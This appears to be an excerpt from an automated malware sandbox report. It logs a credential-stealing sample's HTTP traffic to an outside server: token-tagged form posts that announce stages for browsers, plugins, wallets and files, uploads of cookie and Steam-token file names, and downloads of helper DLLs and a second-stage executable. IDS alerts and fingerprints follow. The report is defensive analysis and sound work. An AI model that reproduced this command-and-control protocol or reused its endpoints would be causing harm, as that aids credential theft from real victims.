Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"browsers------DHJDAKEGDBFHCAAKJJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="message"plugins------FHCGHJDBFIIDGDHIJDBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"fplugins------ECGDBAEHIJKKFHIEGCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.206Content-Length: 6215Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKJDHDBKEBGHJJJJKEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file"------FIJKEHJJDAAKFHIDAKFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 2d 2d 0d 0a Data Ascii: ------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="file"------JEHIDHDAKJDHJKEBFIEH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="message"wallets------GCAEHDBAAECBFHJKFCFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="message"files------BFHIJEBKEBGHIDHJKJEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file"------GIIIIJDHJEGIECBGHIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="message"ybncbhylepme------CAEBGHDBKEBGIDHJJEHC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49778 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49948 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49719 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_001ABE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

26_2_001ABE30

